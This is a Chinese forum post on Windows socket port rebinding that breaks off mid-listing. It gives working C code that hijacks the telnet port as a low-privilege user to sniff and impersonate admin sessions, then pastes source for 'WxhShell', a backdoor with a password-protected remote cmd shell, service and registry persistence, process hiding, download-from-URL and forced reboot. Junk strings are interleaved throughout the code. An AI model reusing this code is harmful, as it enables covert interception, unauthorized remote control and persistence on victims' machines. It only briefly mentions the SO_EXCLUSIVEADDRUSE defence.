-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YQN:&Cls s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [n[dr@J7v (uvQ/! saddr.sin_family = AF_INET; }( F:U# 9Y.(xp &vw saddr.sin_addr.s_addr = htonl(INADDR_ANY); T$D(Y`zdn hE {";/}J bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I:TbZ*vi~ "Wg,]$IvU 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :1*E5pX0n TxPFl7,r 这意味着什么?意味着可以进行如下的攻击: &RZO\ZT ) 1AAL0F\B 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T-a>k.}y GfELL`yz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =6dAF"b) ck{S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }?,?2U,8: Q^f{H. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 4}m9, N4+Cg t( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IrL%0&*hS Q<V(#)* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (s;W>,~q DSwb8q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X=whZ\EZ AE77i,Xa #include N4ZV+
|
#include ({j8|{)+ #include rgVRF44X{ #include P$U"y/ DWORD WINAPI ClientThread(LPVOID lpParam); H\QkU`b int main() W\zZ&*8$ { /Ot3[B WORD wVersionRequested; @G2# Z DWORD ret; zE/l WSADATA wsaData; wvq4 P BOOL val; j$q5m 24L SOCKADDR_IN saddr; I%J>~=]n_ SOCKADDR_IN scaddr; z+yq%O int err; kZG .Id SOCKET s; d MR?pbD SOCKET sc; v`,!wS
int caddsize; OlCqv-B2& HANDLE mt; "HJ^>%ia
DWORD tid; x\G% wVersionRequested = MAKEWORD( 2, 2 ); v%qOW)]. err = WSAStartup( wVersionRequested, &wsaData ); ! eZls if ( err != 0 ) { *Mhirz%iD printf("error!WSAStartup failed!\n"); ~".@mubt1$ return -1; I.3~ctzu } V,rc&97 saddr.sin_family = AF_INET; -E?:W`! 7{}E{/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7_2D4CI sg7h&<Xx saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =T9h7c R saddr.sin_port = htons(23); j<~Wp$\i7> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3FR(gr$X { -Rw3[4>@O" printf("error!socket failed!\n"); Eto"B" return -1; OCrTzz8 } <ZSXOh,' val = TRUE; `w
6Qsah //SO_REUSEADDR选项就是可以实现端口重绑定的 jcqUY+T$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M]PZwW8 { @~$d4K
y< printf("error!setsockopt failed!\n"); ^nPy(Q0 return -1; O(W"QY } /.0K#J:
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mzK0$y#*o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D-/6RVq0m //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !-}Q{<2@W I9Ohz!RQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ! :]_-DX { #$BFTlm| ret=GetLastError(); Cw(e7K7& printf("error!bind failed!\n"); 72Bc0Wg
return -1; et+lL"& } i6V$m hL listen(s,2); sR9$=91` while(1)
!tTv$L> { "v:k5a( caddsize = sizeof(scaddr); (O J/u)W^ //接受连接请求 O6Py sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J`5+Zngr if(sc!=INVALID_SOCKET) ura&9~ { Z (6.e8fK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tAN!LI+w if(mt==NULL) oUnb-,8n { 9$$ Ijf printf("Thread Creat Failed!\n"); VkJ">0k break; 4nm.ea| } 29J|eBvxx } 5.5kH$;> CloseHandle(mt); 3q/Us0jr } l{7}3Am6 closesocket(s); hn2:@^=f WSACleanup(); {nmu(EP return 0; G{: B'08 } r:V
bjmL DWORD WINAPI ClientThread(LPVOID lpParam) R7Qj<, { 6 EqN>. SOCKET ss = (SOCKET)lpParam; fSbLkd 9 SOCKET sc; zY\u"
'4 unsigned char buf[4096]; ;t +p2i SOCKADDR_IN saddr; T@ESMPeU:X long num; 8)8~c@ DWORD val; UUfM7gq DWORD ret; -E\G3/*51 //如果是隐藏端口应用的话,可以在此处加一些判断 /rZk^/' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 4S'e>: saddr.sin_family = AF_INET; :4zPYG o saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XcoX8R%U saddr.sin_port = htons(23); p|-> z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6kp)'wz` { A~Sc ] M printf("error!socket failed!\n"); (DvPdOT+3 return -1; Y[L,rc/j } |5(un# val = 100; o+hp#e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !X7z y9 { O83J[YuzjN ret = GetLastError(); K7C
<}y return -1; I7Kgi3 } 0z \KI?kd if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&5K3AL { uH$hMg ret = GetLastError(); 9QP= return -1; h:bx0:O" } s;P _LaIp) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }BS
EK<W { vfqXHc
unj printf("error!socket connect failed!\n"); ^?fsJ closesocket(sc); oU1N>,
closesocket(ss); 8#$HKWUK return -1; Po=:-Of: } ,9G'1%z, while(1) xytWE:= { H9jlp.F //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {G=> WAXo //如果是嗅探内容的话,可以再此处进行内容分析和记录 5(#z)T //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8-+# !] num = recv(ss,buf,4096,0); ]uhG&:
} if(num>0) $xW9)) send(sc,buf,num,0); =?Ry,^=b else if(num==0)
z}J~X%}e break; !Yo2P" num = recv(sc,buf,4096,0); ^) s6`: if(num>0) vrmMEWPV send(ss,buf,num,0); JUw|nUnl? else if(num==0) 0*]0#2Z break; prO&"t
> } ~L&z?'V closesocket(ss); *8qRdI9 closesocket(sc); RQ|K?^k
v return 0 ; a?Fz&BE } 1y[~xxgE R|Bi%q|4P t@lTA>;U@ ========================================================== "
AvEo
rY Puo 下边附上一个代码,,WXhSHELL n. N0Nhd Kc]
GE#~g ========================================================== r9}(FL/)b (~\HizSl #include "stdafx.h"
fATnza 9ox5,7ZQ #include <stdio.h> -d!84_d9 #include <string.h> 6@0?~ #include <windows.h> IH*G7; #include <winsock2.h> te;bn4~ #include <winsvc.h> clqFV
#include <urlmon.h> q ) 5s'( i|H^&$| #pragma comment (lib, "Ws2_32.lib") ii`,cJl #pragma comment (lib, "urlmon.lib") 'O ~_g5kC 0@'-g^PS #define MAX_USER 100 // 最大客户端连接数 0p3) t #define BUF_SOCK 200 // sock buffer X..M!3W #define KEY_BUFF 255 // 输入 buffer )sIzBC {nZP4jze #define REBOOT 0 // 重启 zwUZ*Se #define SHUTDOWN 1 // 关机 S5m.oHJI* %[*_-% #define DEF_PORT 5000 // 监听端口 e#6H[t
NB3+kf , #define REG_LEN 16 // 注册表键长度 [Ketg #define SVC_LEN 80 // NT服务名长度 C.=%8|Zy }rVLWt // 从dll定义API C]ho7qC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qzY:>>d' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3 P\4K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W:f )#' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tpnwwx[]:| |&S^L}V.C // wxhshell配置信息 h{]0
H'g struct WSCFG { qoQ,3&< int ws_port; // 监听端口 wMm+E "}W char ws_passstr[REG_LEN]; // 口令 &_QD1 TT int ws_autoins; // 安装标记, 1=yes 0=no sAX4giaLD char ws_regname[REG_LEN]; // 注册表键名 ,uO?f1 char ws_svcname[REG_LEN]; // 服务名 |.~2C14[ char ws_svcdisp[SVC_LEN]; // 服务显示名 2sBYy 8.r char ws_svcdesc[SVC_LEN]; // 服务描述信息 B_c-@kl char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AA|G&&1y
int ws_downexe; // 下载执行标记, 1=yes 0=no 9Z2aFW9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" =;8q` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4tiCxf) V,7Xeh(+5L }; kU)E-h v~^*L iP+ // default Wxhshell configuration Ov:U3P?% struct WSCFG wscfg={DEF_PORT, 7'{%djL "xuhuanlingzhe", 3gCP?%R 1, Kv5 !cll5 "Wxhshell", 6XhS
g0s "Wxhshell", -k,}LJjo "WxhShell Service", D#ED?Lqf "Wrsky Windows CmdShell Service", PVq y\i "Please Input Your Password: ", pkIJbI{aS 1, (:#4{C " http://www.wrsky.com/wxhshell.exe", W}^>lM\8 "Wxhshell.exe" on\ahk, y] }; jA3Ir;a <UwA5X`0e. // 消息定义模块 *q1sM#;5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KH$o X\v char *msg_ws_prompt="\n\r? for help\n\r#>"; d$D3iv^hyx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; yrMakT = char *msg_ws_ext="\n\rExit."; nzi)4"3O char *msg_ws_end="\n\rQuit."; Ag]Hk% char *msg_ws_boot="\n\rReboot..."; q>a/',m char *msg_ws_poff="\n\rShutdown..."; hG/Z65`& char *msg_ws_down="\n\rSave to "; |msQ dBL{Mbh2Z char *msg_ws_err="\n\rErr!"; `Z#]lS? char *msg_ws_ok="\n\rOK!"; pKL^<'w0 iaaD1<m char ExeFile[MAX_PATH]; FefS]G int nUser = 0; {M0pq3SL*t HANDLE handles[MAX_USER]; B&lF!
] int OsIsNt; }PzYt~Z`@ =H^^A G\} SERVICE_STATUS serviceStatus; mhnK{M @56 SERVICE_STATUS_HANDLE hServiceStatusHandle; "OKsl2e yc$8X sns // 函数声明 ;fY)7
' int Install(void); 74Il]i1= int Uninstall(void); 03y5$kQ int DownloadFile(char *sURL, SOCKET wsh); %lK]m`( int Boot(int flag);
7w|4BRL void HideProc(void); FU(s jB int GetOsVer(void); #w]:<R^ int Wxhshell(SOCKET wsl); ZsDn`8 void TalkWithClient(void *cs); w W;!L=j int CmdShell(SOCKET sock); )Chx,pcx< int StartFromService(void); /aMeKM[L` int StartWxhshell(LPSTR lpCmdLine); T CO^9RP< "IsDL^)A9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NB/ wJ3 F VOID WINAPI NTServiceHandler( DWORD fdwControl ); T$xY]hqr ki_Py5 // 数据结构和表定义 }"9jCxXL SERVICE_TABLE_ENTRY DispatchTable[] = [hXU$Y>"0 { /&'rQ`nd {wscfg.ws_svcname, NTServiceMain}, cd*F;h {NULL, NULL} L
sMS`o6 }; \5^GUT iu.+bX|b // 自我安装 bX]$S 5c_u int Install(void) U7cGr\eUu { #%tN2cFDN char svExeFile[MAX_PATH]; zFV?,"\r HKEY key; "^@0zy@x strcpy(svExeFile,ExeFile); 4#@zn 2l s@bo df& // 如果是win9x系统,修改注册表设为自启动 X5D}<J2" if(!OsIsNt) { H`ZUI8- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fNaS?tV) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,a,coeL RegCloseKey(key); fqU*y 6] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i(XqoR-x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i;B)@op.# RegCloseKey(key); {oN7I'> return 0; $nbZ+~49 } j"8|U
E } t.oP]_mI } q6v%HF-q4 else { w;Na9tR 2s@<k1EdPl // 如果是NT以上系统,安装为系统服务 6<<ihm+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :Yqi5CR if (schSCManager!=0) A#j'JA>_ { p1L8g[\ SC_HANDLE schService = CreateService 'PrrP3lO_~ ( {wx!~K schSCManager, /A;!g5Y wscfg.ws_svcname, `!\`yI$!%w wscfg.ws_svcdisp, BI-xo}KI SERVICE_ALL_ACCESS, MRdZ ' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'Nv*ePz SERVICE_AUTO_START, Ey!+rq} SERVICE_ERROR_NORMAL, k:0HsN!F9 svExeFile, BHw/~H d4 NULL, @bj3N NULL, @t6B\ ?4'T NULL, %g4G&My@J NULL, >;.'$- NULL (r?41?5K ); {1V~`1(w if (schService!=0) )xuvY3BPB? { C.
Hr CloseServiceHandle(schService); |Tp>,\:5 CloseServiceHandle(schSCManager); #;6YADk2_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .W<yiB}^ strcat(svExeFile,wscfg.ws_svcname); zviEk/:zm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iIoeG_^*Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C&m[/PJ~l RegCloseKey(key); EI*B( return 0; +Q3i&"QB. } W])<0R52 } L}1|R*b CloseServiceHandle(schSCManager); ("k.5$ } @exeHcW61 } Mg0[PbS *94<rlh{"
return 1; Kuz
/ } :!\?yj{{ 4jlUyAD // 自我卸载 Vs)Pg\B? int Uninstall(void) #?Z>o16,u { ((}T^ HKEY key; tN=B9bm3j /L8Q[`;. if(!OsIsNt) { ?[}r& f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~e5hfZv|w RegDeleteValue(key,wscfg.ws_regname); c-L1 Bkw RegCloseKey(key); B6&;nU>; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %EuJ~;x(Mg RegDeleteValue(key,wscfg.ws_regname); 5
#)5Z8`X RegCloseKey(key); B'OUT2cgB return 0; ruG5~dm> } 90oG+T4 } >i %{5d } ndn)}Z!0h else { _h2axXFhT 8[Ssrk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B\,pbOE?# if (schSCManager!=0) .mzy?!w0q { P5Y:c@u2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VL5GX( if (schService!=0) o.ntzN { [;`B if(DeleteService(schService)!=0) { TzT(aWP" CloseServiceHandle(schService); HrH-e=j CloseServiceHandle(schSCManager); 5J^S-K^r return 0; 82.::J'e } Wp"+\{@) CloseServiceHandle(schService); Z6eM~$Y } N,9W18
@ CloseServiceHandle(schSCManager); nCZ&FNi{O~ } 5G"DgG*< } u:Fa1 !4JR E)l0`83~^ return 1; Nr?Z[6O| } zrqQcnx9(m 7{%_6b" // 从指定url下载文件 );o2eV int DownloadFile(char *sURL, SOCKET wsh) eM";P/XaX { *w>dT HRESULT hr; p.1@4kgK&r char seps[]= "/"; 6ge,2[PU char *token; /UP&TyZ char *file; uIOnP char myURL[MAX_PATH]; nKI]f`P7 char myFILE[MAX_PATH]; a:*8SovI + niz(] strcpy(myURL,sURL); ]W^F!p~eC token=strtok(myURL,seps); N?Byp&rqI< while(token!=NULL) o
gec6u} { 5eP8nn.D file=token; hXBAs*4DV8 token=strtok(NULL,seps); s&UuB1 } V*X6 <} OPVF)@"ptM GetCurrentDirectory(MAX_PATH,myFILE); k1l\Rywp strcat(myFILE, "\\"); kjVUG >e> strcat(myFILE, file); cZB?_[Cp send(wsh,myFILE,strlen(myFILE),0); tk'1o\@p9b send(wsh,"...",3,0); rucgav hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @ev"{dY if(hr==S_OK) I$.HG] return 0; w$Zi'+&* else BG>fLp return 1; a_jw4"Sb B 2p/ } gD}lDK6N .
V5Pr}"y // 系统电源模块 <'n'>@ int Boot(int flag) )ry7a
.39b { 7+_TdDBYs HANDLE hToken; - BQoNEh TOKEN_PRIVILEGES tkp; uDhe
) -;NGS
)RM if(OsIsNt) { +,7nsWV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M]c"4b; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c`S`.WID tkp.PrivilegeCount = 1; X:N`x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WP*xu-(: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /\L-y,>X if(flag==REBOOT) { ~e|RVY, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }W2FF return 0; ;Gc,-BDFw } /g/]Q^ else { kq| r6uE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S2y_5XJ<D return 0; tx` Z?K[ } V{jQ=<)@e } JRti2Mu else { R[#Np`z if(flag==REBOOT) { {5 V@O_*{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b/[$bZD5o return 0; v2w|?26Lf } eILdq* else { tQR qQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1zNh&
" return 0; vIq>QXb;d } '80mhrEutG } wh Hp}r %#go9H(K return 1; p{@j M } FIMM\W
+56N}MAs // win9x进程隐藏模块 W;Y"J_ void HideProc(void) ;$nCQ/ / { a/wg%cWG_ .(J~:U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7)RDu,fx if ( hKernel != NULL ) Dj9v9 { D02'P{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YCPU84f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hwx1 fpo4 FreeLibrary(hKernel); SEKR`2Zz, } LZ=E nYsB^Nr6 return; /Fr*k5I } Ez1-Nx ylGT9G19 // 获取操作系统版本 ?^3Y+)} int GetOsVer(void) 14~#k%zO( { FhP$R}F OSVERSIONINFO winfo; ;B^ 9sr winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nyoLrTs{ GetVersionEx(&winfo); '048Qykt; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (G6lr%d return 1; wiFA3_\G else p=XEMVqm return 0; (X?HuWTm } !We9T )e &gLXS1O // 客户端句柄模块 }j)][{i*x int Wxhshell(SOCKET wsl) zQxTPd { E8/Pi>QW SOCKET wsh; 1b=,lm struct sockaddr_in client; 2tw3 =) DWORD myID; +@^FUt=tq !U7}?i&H while(nUser<MAX_USER) mI,a2wqi { rff_=(?i int nSize=sizeof(client); :Z[|B(U wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h
wi!C} if(wsh==INVALID_SOCKET) return 1; Gh5 3Pne ]."t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x' v-]C(@ if(handles[nUser]==0) r9Vt}]$a G closesocket(wsh); [-0=ZKH? else RRb>]oD nUser++; H73 r3BH } Pk3b#$+E WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^/ff)'.J 79z/(T+ return 0; t`-
[ } 'WNq/z"X tjLG$M1z` // 关闭 socket !ra,HkU' void CloseIt(SOCKET wsh) z8dBfA<z { *DgRF/S closesocket(wsh); /g>]J70 nUser--; g8R@ol0 ExitThread(0); 8 \"A-+_Q } I]z4}#+cX \"a~~Koe // 客户端请求句柄 B)x^S
> void TalkWithClient(void *cs) 3:aj8F2 { QQ/9ZI5 (kVxa8 0 SOCKET wsh=(SOCKET)cs; kr\#CW0? char pwd[SVC_LEN]; Bdcs}Ga char cmd[KEY_BUFF]; Q 5&|1m Pb char chr[1]; ctoh&5%!n+ int i,j; Ub{7 Xk
n Y1;jRIOA while (nUser < MAX_USER) { {(IHHA> D4T42L if(wscfg.ws_passstr) { mhMTn*9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Doe:m#aNj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~bqw !rz //ZeroMemory(pwd,KEY_BUFF); +3k.xP?QS i=0; ro+8d while(i<SVC_LEN) { uO( (Mg O!'gylj/ // 设置超时 {Ia1Wd 8n fd_set FdRead; G b4p"3 struct timeval TimeOut; J'%W_?wZ FD_ZERO(&FdRead); z:8ieJ)C FD_SET(wsh,&FdRead); o?d`o$ TimeOut.tv_sec=8; L@S1C=-/ TimeOut.tv_usec=0; R].xT-1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @dn&M9Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BS2'BS8 ;>%wf3e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gSHN,8.
` pwd =chr[0]; \8)FVpS if(chr[0]==0xd || chr[0]==0xa) { mLV0J ' pwd=0; (~NR."s; break; OD~yIV } dn&484 i++; oT!i}TW?o } 3fUiYI|&7 3U!
l8N2 // 如果是非法用户,关闭 socket y\n#`*5k if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "[sr0'g: } vs{VRc h%5keiA send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h^YUu`P send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yJ>Bc g'9~T8i& ^ while(1) { '(zP; ?jsgBol ZeroMemory(cmd,KEY_BUFF); JF'<"" PB) vE // 自动支持客户端 telnet标准 E_0i9 j=0; &"=O!t2 while(j<KEY_BUFF) { NOFH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q]]M;( cmd[j]=chr[0]; RJ-J/NhWyI if(chr[0]==0xa || chr[0]==0xd) { jw)c|%r> cmd[j]=0; `*xSn+wL`_ break; <Wd_m?z } &{bNa:@ j++; S
rhBU6K } TCK#bJ {]iM5? // 下载文件 zj$Ve if(strstr(cmd,"http://")) { I/zI\PP, send(wsh,msg_ws_down,strlen(msg_ws_down),0); #@F if(DownloadFile(cmd,wsh)) R ^"*ut send(wsh,msg_ws_err,strlen(msg_ws_err),0); @o&UF-=MW( else Ev T"+;9/p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ($!g= 7 } ;)vs=DK:) else { 4O4}C#6(4 )"g @"LJ= switch(cmd[0]) { 8mC$p6Okd (S_1C, // 帮助 t1p[!53( case '?': { CQA^"Ll send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
QrLXAK\5 break; pS8`OBenA } ;,Os3 // 安装 !>fi3#Fi case 'i': { [7l5p(= if(Install()) N_p^DP send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8\bZ?n#dn else ^Yo2 R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +D?Re%HI break; p3B_NsXVZ } 91ec^g // 卸载 i x_a case 'r': { \,G19o}`Es if(Uninstall()) '<h@h*R send(wsh,msg_ws_err,strlen(msg_ws_err),0); -AXMT3p=1 else ~g *`E!2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F~3 &@TWi break; 5IP@_GV| } R+Rb[,m // 显示 wxhshell 所在路径 f|,2u5
;z case 'p': { &>Z p}.V char svExeFile[MAX_PATH]; mFyYn,Mu| strcpy(svExeFile,"\n\r"); ^mZTki4 strcat(svExeFile,ExeFile); !H4uc send(wsh,svExeFile,strlen(svExeFile),0); S/6I9zOP break; XRn+6fn| } a61?G!] // 重启 R/&C}6Gn case 'b': { }S9uh-j6l send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h=_h,?_ if(Boot(REBOOT)) _2eL3xXha. send(wsh,msg_ws_err,strlen(msg_ws_err),0); *B+YG^Yu^ else { X'5+)dj closesocket(wsh); |RI77b:pX ExitThread(0); 7T?7KS } P#2;1ki> break; X6oY-4O } 'x=y:0A // 关机 #Y>d@ case 'd': { w*AXD!} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e{,[\7nF if(Boot(SHUTDOWN)) BBsZPJ5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); LESF*rh= else { L\^H#:?t closesocket(wsh); @"`{Sh`Y$ ExitThread(0); 3M{b:|3/q } Y0nuwX*{ break; SFa^$w } jqy?Od) // 获取shell N-GQ\& case 's': { [mQ*];GA CmdShell(wsh); ^Cn_
ODjo closesocket(wsh); 7h.:XlUm| ExitThread(0); Zx,aj break; y{\(|j } }{e7wqS$&, // 退出 G$
Ii case 'x': {
\4&FW|mx send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gp))1b'; CloseIt(wsh); ,lw<dB@7"5 break; /J'dG% } P
C // 离开 2n5{H fpY case 'q': { U_e e3KKA send(wsh,msg_ws_end,strlen(msg_ws_end),0); p%*!]JRS closesocket(wsh); 7 m!e\x8 WSACleanup(); %LZf=`:( exit(1); d:=:l? break; 2BIOA#@t } veGRwir } ]ipltR7k } GGn/J&k pi?U|&.1z // 提示信息 -\=kd {*B if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pn2_ {8. } ek4?|!kQD } eVy\)dCsU ?HaUT(\j return;
+0O^!o } :n<<hR0d dNcP_l/A // shell模块句柄 gw9:1S
int CmdShell(SOCKET sock) a0x/ ?)DO { 6995r% STARTUPINFO si; `=f1rXhI+1 ZeroMemory(&si,sizeof(si)); -* ;`~5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #$9rH
2zd si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o*WI*Fb' PROCESS_INFORMATION ProcessInfo; a"0'cgB} char cmdline[]="cmd"; z"lRfOWI CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1~P ^g` return 0; \muC_9ke } )|@UY(VZ^ nxh9'"th // 自身启动模式 ~WG#Zci- int StartFromService(void) !ZlNPPrq} { &za~=+ typedef struct ssC5YtF7X { tmI2BBv DWORD ExitStatus; goV[C]| DWORD PebBaseAddress; l~Sn`%PgA DWORD AffinityMask; sGD b< DWORD BasePriority; Qf]ACN ULONG UniqueProcessId; SpUcrK;1 ULONG InheritedFromUniqueProcessId; M0zlB{eH } PROCESS_BASIC_INFORMATION; /0H39]y!~ A">A@`} PROCNTQSIP NtQueryInformationProcess; -!]dU`:(X nY<hfqof static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MM%c static GETMODULEBASENAME g_pGetModuleBaseName = NULL 